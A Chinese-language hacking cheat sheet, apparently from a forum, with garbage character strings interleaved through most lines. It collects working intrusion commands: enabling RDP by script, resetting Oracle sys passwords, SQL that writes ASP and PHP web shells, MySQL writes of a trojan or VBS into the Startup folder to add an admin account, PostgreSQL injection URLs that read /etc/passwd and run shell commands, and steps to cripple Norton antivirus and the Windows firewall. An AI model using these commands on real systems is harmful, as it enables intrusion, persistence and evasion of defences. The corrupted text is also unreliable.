, R9 i( u, u% H) b! c. J8.终端超出最大连接数时可用下面的命令来连接2 H6 t) J( T1 |% y4 U' t
7 g1 L! H5 C8 G' y% kmstsc /v:ip:3389 /console ' y& v. q$ J0 h! @: i* h4 H$ r. `2 \+ q7 w. O. d: H# n
9.调整NTFS分区权限; g$ `* }3 ~7 E5 ~: J0 S
7 W6 I7 W- v( O
cacls c: /e /t /g everyone:F (所有人对c盘都有一切权利)& P8 R+ n$ f, f
: F8 l' b }& }( c2 L# i" D) pcacls %systemroot%\system32\*.exe /d everyone (拒绝所有人访问system32中exe文件) ' v7 f- Z! [1 u% p* p' n. Q# w* `! ]" X9 }
------------------------------------------------------ . P. q/ @ o, B( q6 U+ @3389.vbs 1 \) P' r5 `5 [4 z2 XOn Error Resume Next 7 K0 M c; t/ N1 G( `! Pconst HKEY_LOCAL_MACHINE = &H800000028 @5 K& l2 f. d# q' f
strComputer = "."7 u9 N* Y# z; O ~. I2 f/ U* E
Set StdOut = WScript.StdOut 2 x e! y1 d' e/ X/ ` D9 YSet oreg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_' ^6 F/ N0 e( p
strComputer & "\root\default:StdRegProv")% B/ V2 i0 V# k$ C! ?& M3 T
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server" & [- C8 G3 h7 L7 Koreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath' L- D# P' g, G
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" ; s% V- X" x9 q9 U4 n4 z$ N& j- Koreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath 5 M. `) i2 A0 @; `, u( g; YstrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" ' L( m+ d- K0 B: r2 y5 L4 gstrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"$ h" \" v( ^) G' V, H8 f
strValueName = "fDenyTSConnections"; i. G/ ?3 d' L
dwValue = 0 1 D- D4 K M4 X& Y+ q( }: ooreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue& w, u4 {$ p5 b/ g5 @' p; m% L% i
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"" S& c# N7 l3 D9 P) N; ~
strValueName = "ortNumber") W: i; R- a2 f) m& o
dwValue = 3389 + I& E( b* ~/ p9 u# [oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue/ L4 P0 N+ a# f2 s& ^# i
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" " F# J) w# ^: c5 R# [! KstrValueName = "ortNumber"- Y7 F/ ?; R9 t9 O
dwValue = 3389' E1 ]' o0 G- _1 d+ w/ t
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue 5 L4 I( S2 [& U$ w0 N& x% gSet R = CreateObject("WScript.Shell") / e+ | l0 O* J5 |" f- L6 GR.run("Shutdown.exe -f -r -t 0") 5 O$ }7 n( E7 h& P# O3 z( i* M
* Y* O' v3 ~8 E8 P' n. O) B6 g) B! K删除awgina.dll的注册表键值6 }- g; T% J" R7 n5 A! }6 i
程序代码 : _' d, S4 b$ F - I2 |8 o# L7 \reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v GinaDLL /f 5 B: E M) Q Y1 E + i- f. U' O1 E0 u+ H* c. V8 g# `3 ?8 s1 z# b
: ?2 M. ]5 E% {5 F4 V/ r- I
. i$ E# B' p! E
程序代码 * t! }; n8 j+ HHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\NoLMHash ' ?: F# s, y! _" `+ \# Z9 Q2 U: q' E' T; X
设置为1,关闭LM Hash8 k; s5 D& _, R) f1 X
- [" L3 _) a K: h: j
数据库安全:入侵Oracle数据库常用操作命令$ g" \$ ?. W; t) y: l2 |
最近遇到一个使用了Oracle数据库的服务器,在狂学Oracle+请教高手后终于搞到了网站后台管理界面的所有用户密码。我发现Oracle操作起来真是太麻烦,为了兄弟们以后少走些弯路,我把入侵当中必需的命令整理出来。/ D7 x' l5 p1 k; Y3 R$ V6 Z
1、su – oracle 不是必需,适合于没有DBA密码时使用,可以不用密码来进入sqlplus界面。 1 f3 k( D7 i6 s. ?2、sqlplus /nolog 或sqlplus system/manager 或./sqlplus system/manager@ora9i;9 }) v1 W( t6 I, ~1 [: x4 H5 P5 s
3、SQL>connect / as sysdba ;(as sysoper)或 p3 E- {2 I, d+ N6 R Aconnect internal/oracle AS SYSDBA ;(scott/tiger)& t$ E5 Y1 A- n' \
conn sys/change_on_install as sysdba;0 P, q# k& ?1 `, m+ k* z
4、SQL>startup; 启动数据库实例/ ]1 q" g% E+ R3 U
5、查看当前的所有数据库: select * from v$database; ! E; E5 O- M6 ~2 h. Oselect name from v$database;3 _5 C8 ?2 b) S ~+ Y0 w( N( S) f! O
6、desc v$databases; 查看数据库结构字段2 F/ p% \ h. t' x# A" Z3 g* X# ^
7、怎样查看哪些用户拥有SYSDBA、SYSOPER权限: " t- r9 s) }- H% `. CSQL>select * from V_$PWFILE_USERS; ) L# ?- F& g- b2 x, TShow user;查看当前数据库连接用户 ' @- a9 e/ \( k5 b" n8、进入test数据库:database test; 4 T. R! V3 l4 Q: o( I# }! D9、查看所有的数据库实例:select * from v$instance;$ M. k$ O# \! L& g$ G3 `
如:ora9i 5 W2 _) h9 h9 M3 i! B( ?# ^4 S10、查看当前库的所有数据表: ) u# ~! Y* F( R, B) X1 JSQL> select TABLE_NAME from all_tables;7 b) h! ]7 G( R- k- ~" k3 j* D
select * from all_tables; ( }9 ` V M# ]0 Z5 p) qSQL> select table_name from all_tables where table_name like '%u%'; ! n2 i+ N! n, W7 f5 ~* i3 Z2 CTABLE_NAME 8 S1 {* n# d; t5 @1 h4 m/ _; U. y------------------------------ & C2 Z9 r2 K8 F_default_auditing_options_ : L2 _. c( j' {9 e+ W11、查看表结构:desc all_tables; 0 K4 q( Q+ P! p, u3 g12、显示CQI.T_BBS_XUSER的所有字段结构:' L6 n; `2 P- w& w/ V: S; @" d
desc CQI.T_BBS_XUSER; ( p6 H+ L. Q( ~4 ?13、获得CQI.T_BBS_XUSER表中的记录:6 `1 g6 x1 ?, w' G% ~! s) d
select * from CQI.T_BBS_XUSER;" p K5 t" _' R; y0 c. T- O- y
14、增加数据库用户:(test11/test) $ i, n, B' Y5 G/ y# G& C& Q# zcreate user test11 identified by test default tablespace users Temporary TABLESPACE Temp; ) f1 r; Y8 w1 q0 W15、用户授权:% A9 q2 Y" y3 z/ \" }$ b
grant connect,resource,dba to test11;7 @; `: \% w) q4 C+ ~ u
grant sysdba to test11;& Z0 q5 f, {& v$ S# X
commit; 4 D' s6 J7 o; _! X) n: b16、更改数据库用户的密码:(将sys与system的密码改为test.)# i4 H7 o' V( `5 k; ~/ L2 j
alter user sys indentified by test;! q3 k- R8 f1 l0 ^* r( x3 ] ~! z
alter user system indentified by test; ; \, e( r$ K. V- y4 C$ o6 y7 @ 8 x( n E+ g; ^0 UapplicationContext-util.xml! E, f; ^: F+ q: ]" q, O3 K$ P
applicationContext.xml m; ^4 R$ c$ M7 ~* L
struts-config.xml! ]+ J: a$ ^& n3 `5 |8 G
web.xml" i3 M6 {4 v- g" x; t v
server.xml , ]2 x9 ~, n; T/ dtomcat-users.xml ' h3 p( S$ }8 A: t/ F6 I5 @ O' Bhibernate.cfg.xml + e, L% g! G/ |/ Odatabase_pool_config.xml R3 N C, r O; _ 1 {6 {. ]3 x) d! F0 B) O$ a* E) u* @2 x% C' R* G. X8 n0 V/ q1 ~. y
\WEB-INF\classes\hibernate.cfg.xml 数据库连接配置6 v+ B4 k$ a: e$ Y# b0 H5 _7 M
\WEB-INF\server.xml 类似http.conf+mysql.ini+php.ini0 A$ M: u( G1 e( \0 H- {& \
\WEB-INF\struts-config.xml 文件目录结构 - @; J* x6 d7 k/ O6 L {" C4 ^! C. \. q6 I2 H6 {
spring.properties 里边包含hibernate.cfg.xml的名称 7 |! M; w( M$ d( H. A7 \! s' P' G4 m4 N' C& m, z
2 J: R! ]- r1 ?* o/ A
C:\Program Files\Apache Software Foundation\Tomcat 5.5\conf\tomcat-users.xml8 y( u, K6 K% i$ S! A( y6 d! A! p& v$ ]
- L% s) R' E5 G: n$ a
如果都找不到 那就看看class文件吧。。& V5 W% E& W- J. S& {# ^
- E/ p) E7 k# c2 h
测试1:1 [+ e9 Y5 a5 a& n' W; Y
SELECT top 1 name=STUFF((SELECT ','+[name] FROM sysobjects t where xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t1 3 ?. T& c. ^/ t: I7 g4 _" }& y5 ^9 t S( h0 `; i
测试2:& g% E, \+ l5 u" D7 w
! V/ ]5 g$ L, _: z
create table dirs(paths varchar(100),paths1 varchar(100), id int) 4 Y8 x( C0 G: _4 [+ t6 [+ p# M " C6 m; d K# S7 i5 Ndelete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1--) ~% K0 O' Q$ M5 k5 b
. U# p$ ^. H0 `8 D3 W+ r
SELECT top 1 paths=STUFF((SELECT ','+[paths] FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t1! R' {& V) m) v- P( D" J% x8 A8 h
1 O: C+ O# {2 ?; }. M9 @) I0 v
查看虚拟机中的共享文件:- n9 }$ S! H4 n7 z/ n' ?( f
在虚拟机中的cmd中执行0 ?) H1 Z! ]1 a( `; }) ?6 m
\\.host\Shared Folders 1 U# U. X( x0 l. }1 g5 x% u' ]: u( s) ^0 U' F5 a
cmdshell下找终端的技巧3 J2 b8 f# q0 @* k; O
找终端: + \, D0 F% y# d第一步: Tasklist/SVC 列出所有进程,系统服务及其对应的PID值! ' K5 E# b( q5 l6 S3 I 而终端所对应的服务名为:TermService 8 u! J( ?* I4 Z+ ~$ Q/ w
第二步:用netstat -ano命令,列出所有端口对应的PID值! , E2 f, U8 p# N: @# _( s7 X 找到PID值所对应的端口 - e% z$ _7 b; V0 C1 u2 j 0 Q' S7 E( Z: M* k查询sql server 2005中的密码hash * d) c% t$ |* p+ {SELECT password_hash FROM sys.sql_logins where name='sa'8 K9 [3 J# _& G7 v4 s
SELECT '<%execute request("a")%>' into [a] in 'c:\x.asp;a.xls' 'excel 8.0;' from a 4 m j4 C" i: haccess中导出shell6 q' _( \& {% B7 D- K- q5 a! v2 r
; {3 z: E% q1 t
中文版本操作系统中针对mysql添加用户完整代码: ) m9 h K9 x* f/ F2 n" L5 {, K9 X d* O) J" i
use test; ( K3 s! s- F) Z9 ~' S$ r4 _- W0 @create table a (cmd text);/ k0 ?! z# m+ E) c; ]1 z; ~
insert into a values ("set wshshell=createobject (""wscript.shell"") " );% o8 C, s# j. v1 z
insert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " );6 z! U' T& s( |' u- q
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );2 R, [$ y- W: ?, P4 V6 d1 X
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs"; - ?& d8 W1 q, B3 rdrop table a;; {) I5 b8 H! O4 l: i, |
0 \7 w$ @7 s# r( m
英文版本: % ]2 z( |( w0 V: t - J5 g2 k6 F! K9 a+ D$ J' q) uuse test; * M1 @6 c! d7 k g0 ?8 Jcreate table a (cmd text);# i6 U S8 S( Q% z r
insert into a values ("set wshshell=createobject (""wscript.shell"") " ); + _9 [% d. A' t, O" Einsert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " );* U. O& g' l# ^: W
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " ); ) g* Y# \! e2 c# @select * from a into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\a.vbs";: @9 w4 k/ o" n; ]& h
drop table a;' D: l9 r: h3 M1 M5 U( O
W- h" Y( n0 W6 V' q- r" b- Ycreate table a (cmd BLOB);+ V: I- R, D8 K2 O* `( F E8 a
insert into a values (CONVERT(木马的16进制代码,CHAR)); , O0 S9 W5 W. ^' p: k5 F( Uselect * from a into dumpfile 'C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\启动\\mm.exe'& T7 h8 f, x+ v* C% j
drop table a; , d) ]3 r! Q+ s; ~. p ( b. J) V7 ~" a6 y记录一下怎么处理变态诺顿 J' L' I, I @6 N. l9 a查看诺顿服务的路径3 X- ^3 q5 O/ B: {# o
sc qc ccSetMgr 3 X5 `# b7 v. z9 {$ q4 O然后设置权限拒绝访问。做绝一点。。 - x5 ^& g$ u$ `7 R% |$ Z$ ]8 s3 k3 lcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d system 8 U* x% j: z0 c. ]! @. v" Z% \cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d "CREATOR OWNER"$ D$ K/ s9 q, N! [2 g2 e
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d administrators U, S& o: H+ i+ P" X5 r0 o: r9 scacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d everyone4 s! t, D+ b( J2 m5 v) E
, Q2 ~* m3 J4 B0 e然后再重启服务器* u6 l1 Y. Q3 w" b p- v
iisreset /reboot 9 D! Q5 e& K# ]) W+ t这样就搞定了。。不过完事后。记得恢复权限。。。。5 L( R2 t& C* G- b; L. \
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G system:F) g4 z3 n% A7 [ V) i" X" l/ x/ X
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G "CREATOR OWNER":F# ]2 Y, i8 A( O! L
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G administrators:F3 K8 |+ K! x" \
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G everyone:F * ?- b3 H: A. ]SELECT '<%eval(request(chr(35)))%>' into [fuck] in 'E:\asp.asp;fuck.xls' 'EXCEL 4.0;' from admin" d- P3 \9 q+ R$ u
# a. B; L% U% e. M3 N) `
EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell ''net user''') 2 e% M R! Z6 ^+ ]7 k' Q/ ~% H9 W, g+ I5 E7 `$ _5 P# j; T
postgresql注射的一些东西" U0 K' {- }7 e' z+ Y. K) v+ ]
如何获得webshell / o* \7 v: K7 i$ {% _http://127.0.0.1/postgresql.php?id=1;create%20table%20fuck(shit%20text%20not%20null); / y ?/ j( t0 O8 x# d9 T; c6 ^ http://127.0.0.1/postgresql.php?id=1;insert into fuck values($$<?php eval($_POST[cmd]);?>$$); " ]' L4 d. M: c# @0 a" z% x3 T$ j http://127.0.0.1/postgresql.php?id=1;copy%20fuck(shit)%20to%20$$/tmp/test.php$$;; C; R/ j; r0 ]7 ]) {% A6 ^) w
如何读文件. g) {1 V, c# [+ U- G+ ^ http://127.0.0.1/postgresql.php?id=1;create table myfile (input TEXT); " C. n2 {# n! L9 l# d l _) l, O/ Ohttp://127.0.0.1/postgresql.php?id=1;copy myfile from ‘/etc/passwd’; + U, H8 E5 A1 x- a" H2 W* I9 D) Whttp://127.0.0.1/postgresql.php?id=1;select * from myfile;% A& e* G0 @4 [* M
% ]8 t) b0 F1 B& k* V1 k! Vz执行命令有两种方式,一种是需要自定义的lic函数支持,一种是用pl/python支持的。 0 r6 S, U! r# [) Z6 d5 W& j当然,这些的postgresql的数据库版本必须大于8.X. V. L5 [4 F$ _: J
创建一个system的函数:4 @( d7 g' }$ [: J% X# T1 c: y
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT# {1 {9 K: y5 q/ D
& Z- j/ O+ V- K D, p. R8 f) h创建一个输出表:' s- ^; n6 J# ~, D
CREATE TABLE stdout(id serial, system_out text) l4 v& v4 S: Q- e" f) n8 b+ ~1 x5 U
执行shell,输出到输出表内: / G q& A! _ c9 N2 f& J0 nSELECT system('uname -a > /tmp/test') - f* B4 J u7 q( ]1 d. K+ h* Z9 m+ ?" x8 L1 L" C) b' c
copy 输出的内容到表里面; . q1 D5 |7 R; n$ |' m ZCOPY stdout(system_out) FROM '/tmp/test'% z9 x2 x2 j0 u" W
# g- K% w# G- f: k) D2 S
从输出表内读取执行后的回显,判断是否执行成功2 C5 b1 P. y' u3 ]& s- p6 z4 X- h" ^
) f" f5 N* b4 {; m- c
SELECT system_out FROM stdout ; H8 D3 r7 c% K4 ?: ^5 f下面是测试例子5 I6 G- ?# ~! }- ?
; O) W o- c* j& N- Y
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- 0 g+ G1 \7 A3 g; S7 j
$ ]# n Y9 N2 u! X# ]4 u+ d1 @
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C' ; S# c7 x/ a' J; t- [$ Z: \( jSTRICT -- ; p m+ g" k0 t; Y/ \2 W: J. o1 N2 q ) t+ W$ [! L+ \& H: U/store.php?id=1; SELECT system('uname -a > /tmp/test') --( O) B* {' J+ Z+ f
2 v5 L* }# s0 |! K2 U# @/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' -- ) V0 `2 j# D' I/ x) S/ k 9 V* t! l; M9 j& X- w {" [, [6 j/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--9 _& I+ @8 j7 c' m
net stop sharedaccess stop the default firewall / w: J+ v6 d, w# |/ x8 V% knetsh firewall show show/config default firewall " N \! ?5 T. j4 C |: Znetsh firewall set notifications disable disable the notify when the program is disabled by the default firewall7 {" _4 H, i: @2 H; H
netsh firewall add allowedprogram c:\1.exe Svchost add the program which is allowed by default firewall 1 Z# e1 t3 M0 i) r修改3389端口方法(修改后不易被扫出) ! D! q4 ?# { @+ E( y0 N! k5 I修改服务器端的端口设置,注册表有2个地方需要修改- ]9 s- U; A1 }0 E6 \3 J7 D
3 A1 Q2 P$ s+ C9 c; J3 ]% @5 o
[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Wds\\rdpwd\\Tds\\tcp] 1 i& _. ?1 `9 l9 v1 S9 H" oPortNumber值,默认是3389,修改成所希望的端口,比如60007 `4 F0 h! D& @) V